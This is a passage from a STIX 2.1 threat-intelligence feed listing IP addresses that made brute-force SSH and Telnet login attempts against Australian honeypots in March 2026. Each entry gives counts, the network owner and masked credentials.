      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 213. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, d***o, ***, a***e. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1******8, @*******4.",
      "id": "indicator--c5190f5d-7856-4aeb-b48f-9331009cb6c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.194.230.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T12:15:13.000Z",
      "valid_until": "2026-04-07T12:15:11.000Z"
    },
    {
      "created": "2026-03-06T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--e9590502-c8e3-46c3-9f5a-d47f37a3b2a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '135.222.40.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T12:15:13.000Z",
      "valid_until": "2026-04-07T12:15:11.000Z"
    },
    {
      "created": "2026-03-06T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t. Passwords observed (masked): 1****6.",
      "id": "indicator--ea403c8d-42c0-439e-a158-5c4bb2013cc4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '161.97.110.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T12:15:13.000Z",
      "valid_until": "2026-04-07T12:15:11.000Z"
    },
    {
      "created": "2026-03-06T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 6147. Organisation(s): INTEGRATEL PERU S.A.A..",
      "id": "indicator--e859a398-f4fd-43d9-85b6-db6cddc768d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.79.37.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T12:15:13.000Z",
      "valid_until": "2026-04-07T12:15:11.000Z"
    },
    {
      "created": "2026-03-06T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--5335ff6f-1a1a-43f1-8a50-de94d521cafe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '222.118.160.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T12:15:13.000Z",
      "valid_until": "2026-04-07T12:15:11.000Z"
    },
    {
      "created": "2026-03-06T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--3724fc12-f349-49cf-8d87-c2b0ce62ea9e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.79.127.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T12:15:13.000Z",
      "valid_until": "2026-04-07T12:15:11.000Z"
    },
    {
      "created": "2026-03-06T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--2a2d6295-be40-4337-879c-e5691885d6b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '35.241.178.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T12:15:13.000Z",
      "valid_until": "2026-04-07T12:15:11.000Z"
    },
    {
      "created": "2026-03-06T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: KE. ASN(s): 36914. Organisation(s): Kenya Education Network.",
      "id": "indicator--565101c7-51d8-464c-819c-f54a08ac1936",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.89.227.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T12:15:13.000Z",
      "valid_until": "2026-04-07T12:15:11.000Z"
    },
    {
      "created": "2026-03-06T13:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--94117245-0a60-421a-8406-cd98410597b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.147.143.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T13:15:13.000Z",
      "valid_until": "2026-04-07T13:15:11.000Z"
    },
    {
      "created": "2026-03-06T13:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--a75de153-758a-4718-957c-93fb7cc11bcf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.92.202.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T13:15:13.000Z",
      "valid_until": "2026-04-07T13:15:11.000Z"
    },
    {
      "created": "2026-03-06T13:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 981. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, d****y, a**x, ***, ***. Passwords observed (masked): 1****6, ***, 1**4, 1******8, 1***5.",
      "id": "indicator--f1339ab2-c0b5-4e9b-8765-29d1ae862015",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.97.131.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T13:15:13.000Z",
      "valid_until": "2026-04-07T13:15:11.000Z"
    },
    {
      "created": "2026-03-06T13:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 215925. Organisation(s): Vpsvault.host Ltd. Usernames observed (masked): a***n, d****n, r**t. Passwords observed (masked): a***n, d****n, r**t.",
      "id": "indicator--e2d23c18-f4b2-4a4a-be95-83359bb6ed81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T13:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '87.121.84.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T13:15:13.000Z",
      "valid_until": "2026-04-07T13:15:11.000Z"
    },
    {
      "created": "2026-03-06T14:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 213. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4, p*****d, d***a, d****r. Passwords observed (masked): 1**4, 3***********4, 3**********4, 1***5, @*******5.",
      "id": "indicator--33d60959-09cb-4b8b-b6d1-3a2d1b0f73d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T14:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.193.178.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T14:15:07.000Z",
      "valid_until": "2026-04-07T14:15:06.000Z"
    },
    {
      "created": "2026-03-06T14:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 202799. Organisation(s): Sysect D.o.o..",
      "id": "indicator--dccd3013-bb1e-46dd-9c33-ccaaa7eb7ced",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T14:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.45.44.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T14:15:07.000Z",
      "valid_until": "2026-04-07T14:15:06.000Z"
    },
    {
      "created": "2026-03-06T14:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, O*******3.",
      "id": "indicator--22d50e5a-67b4-43ee-acd6-eae7eb0eefff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T14:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '173.212.223.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T14:15:07.000Z",
      "valid_until": "2026-04-07T14:15:06.000Z"
    },
    {
      "created": "2026-03-06T14:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 52613. Organisation(s): GIGA MAIS FIBRA TELECOMUNICACOES S.A..",
      "id": "indicator--7358f4cd-518f-4a2c-a715-2e15011dfeee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T14:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '177.125.169.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T14:15:07.000Z",
      "valid_until": "2026-04-07T14:15:06.000Z"
    },
    {
      "created": "2026-03-06T14:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 2518. Organisation(s): BIGLOBE Inc..",
      "id": "indicator--2e68b7a6-425b-4bf2-a605-d2864c56b78e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T14:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '211.13.53.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T14:15:07.000Z",
      "valid_until": "2026-04-07T14:15:06.000Z"
    },
    {
      "created": "2026-03-06T14:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--2bba9d1c-d5fc-4539-9122-ff40317401ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T14:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T14:15:07.000Z",
      "valid_until": "2026-04-07T14:15:06.000Z"
    },
    {
      "created": "2026-03-06T15:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 24444. Organisation(s): Shandong Mobile Communication Company Limited.",
      "id": "indicator--9d96bd5b-ca01-4a47-b5d3-1ff2c5059dd0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '111.14.169.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T15:15:13.000Z",
      "valid_until": "2026-04-07T15:15:11.000Z"
    },
    {
      "created": "2026-03-06T15:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--3cc62c96-5da3-458b-bd37-de4011a21072",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '124.29.194.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T15:15:13.000Z",
      "valid_until": "2026-04-07T15:15:11.000Z"
    },
    {
      "created": "2026-03-06T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 214094. Organisation(s): 'Association Osservatorio Nessuno ODV'. Usernames observed (masked): s*****t. Passwords observed (masked): I***********************4.",
      "id": "indicator--86e53de8-8d09-42a3-862f-565aa2475871",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.190.76.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T15:15:13.000Z",
      "valid_until": "2026-04-07T15:15:11.000Z"
    },
    {
      "created": "2026-03-06T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--0864ce4f-c661-472c-abde-5afa7f90889e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T15:15:13.000Z",
      "valid_until": "2026-04-07T15:15:11.000Z"
    },
    {
      "created": "2026-03-06T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: ID. ASN(s): 140456. Organisation(s): PT Era Awan Digital.",
      "id": "indicator--4646163d-7394-45e4-813c-098d9302f175",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.153.60.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T16:15:13.000Z",
      "valid_until": "2026-04-07T16:15:12.000Z"
    },
    {
      "created": "2026-03-06T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 202425. Organisation(s): IP Volume inc.",
      "id": "indicator--452385b4-1786-4952-8a4f-91d60e3462be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T16:15:13.000Z",
      "valid_until": "2026-04-07T16:15:12.000Z"
    },
    {
      "created": "2026-03-06T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--82793f26-b11a-4ac1-8cbd-ca6b8ba919ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.81.57.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T16:15:13.000Z",
      "valid_until": "2026-04-07T16:15:12.000Z"
    },
    {
      "created": "2026-03-06T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie. Target ports: 23. Source country: LT. ASN(s): 13194. Organisation(s): UAB Bite Lietuva. Usernames observed (masked): r**t, a***n, u**r. Passwords observed (masked): G****2, W******$, Z****1, u**r.",
      "id": "indicator--ee252aa5-25da-48b6-adc5-96b0475bf444",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '84.15.250.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T16:15:13.000Z",
      "valid_until": "2026-04-07T16:15:12.000Z"
    },
    {
      "created": "2026-03-06T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--666f0858-c360-45e6-b12f-0dae3e38b73b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T17:15:13.000Z",
      "valid_until": "2026-04-07T17:15:11.000Z"
    },
    {
      "created": "2026-03-06T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--a38be5bb-d9aa-4571-a060-cb5940372cc0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T17:15:13.000Z",
      "valid_until": "2026-04-07T17:15:11.000Z"
    },
    {
      "created": "2026-03-06T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--055d806a-6d0c-4fd6-b4dd-6a6885ef7ed9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.71.115.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T17:15:13.000Z",
      "valid_until": "2026-04-07T17:15:11.000Z"
    },
    {
      "created": "2026-03-06T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--b79b4b0d-8635-4ba8-b1c9-49acc5eeef9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.17.210.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T17:15:13.000Z",
      "valid_until": "2026-04-07T17:15:11.000Z"
    },
    {
      "created": "2026-03-06T18:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 701. Organisation(s): Verizon Business.",
      "id": "indicator--59e9edc2-faa5-4ef1-8e21-6bdb8c64a003",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '100.2.143.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T18:15:13.000Z",
      "valid_until": "2026-04-07T18:15:11.000Z"
    },
    {
      "created": "2026-03-06T18:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--87da58aa-8fbb-42f4-b577-18758d1f38e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.135.40.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T18:15:13.000Z",
      "valid_until": "2026-04-07T18:15:11.000Z"
    },
    {
      "created": "2026-03-06T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 213. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 138915. Organisation(s): Kaopu Cloud HK Limited. Usernames observed (masked): r**t, 3**********4, c*****l, **, *. Passwords observed (masked): 3***********4, 3**********4, ***, 1***5, @*******5.",
      "id": "indicator--a909369e-bda2-4107-9bd8-0174d7a52ff3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.90.59.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T18:15:13.000Z",
      "valid_until": "2026-04-07T18:15:11.000Z"
    },
    {
      "created": "2026-03-06T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 52507. Organisation(s): Pampacom S.R.L.. Usernames observed (masked): r**t, **, *, p****c, **. Passwords observed (masked): ***, 3***********4, @*******5, A********!, f***4.",
      "id": "indicator--1e0975c8-2077-4ff7-87ae-f27c6dd97b95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.84.205.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T18:15:13.000Z",
      "valid_until": "2026-04-07T18:15:11.000Z"
    },
    {
      "created": "2026-03-06T18:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CR. ASN(s): 262197. Organisation(s): MILLICOM CABLE COSTA RICA S.A..",
      "id": "indicator--60048bcf-6fbb-4b69-a6e2-7c05562e4820",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-06T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.176.198.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T18:15:13.000Z",
      "valid_until": "2026-04-07T18:15:11.000Z"
    },
    {
      "created": "2026-03-06T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 86. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VE. ASN(s): 8048. Organisation(s): CANTV Servicios, Venezuela. Usernames observed (masked): T**t, d********r, r**t. Passwords observed (masked): A********., a***n, p******d.",
